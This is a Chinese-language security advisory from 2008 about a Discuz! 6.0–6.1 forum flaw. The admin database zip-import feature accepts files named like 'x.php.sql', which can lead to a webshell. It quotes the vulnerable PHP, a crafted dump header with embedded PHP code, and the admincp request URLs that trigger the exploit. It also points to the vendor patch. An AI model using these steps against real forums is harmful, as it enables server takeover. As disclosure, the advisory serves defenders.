Discuz!论坛程序admin\database.inc.php页面存在严重缺陷
2008-12-09
系统编号:
WAVDB-01273
影响版本:
Discuz! 6.0.0-6.1.0
程序介绍:
Crossday Discuz! Board 论坛系统(简称 Discuz! 论坛)是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。作为商业软件产品, Discuz! 在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在广大用户中有良好的口碑。凭借 Discuz! 开发组长期积累的丰富的 web 开发及数据库经验,和强于创新,追求完美的设计理念,使得 Discuz! 在很短时间内以其鲜明的个性特色从国内外同类产品中脱颖而出。经过了效率最优化和负载能力最佳化设计的 Discuz! ,已获得业内越来越多专家和权威企业的认可。
漏洞分析:
由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.
在文件admin\database.inc.php里代码:
- .....
- elseif($operation == 'importzip') {
- require_once DISCUZ_ROOT.'admin/zip.func.php';
- $unzip = new SimpleUnzip();
- $unzip->ReadFile($datafile_server);
- if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {
- cpmsg('database_import_file_illegal', '', 'error');
- }
- $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256))));
- $confirm = !emptyempty($confirm) ? 1 : 0;
- if(!$confirm && $identify[1] != $version) {
- cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
- }
- $sqlfilecount = 0;
- foreach($unzip->Entries as $entry) {
- if(preg_match("/\.sql$/i", $entry->Name)) {
- $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
- fwrite($fp, $entry->Data);
- fclose($fp);
- $sqlfilecount++;
- }
- }
- ......
注意2点
1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]
# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
# <?phpinfo();?>
# <?exit();?>
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: 2008-11-27 11:38
# Type: discuz
# Table Prefix: cdb_
漏洞利用:
提交:
<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes
解决方案:
厂商补丁:
Discuz!
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.discuz.net/
信息来源:
<*
80vul
http://www.80vul.com/dzvul/sodb/15/sodb-2008-15.txt
*>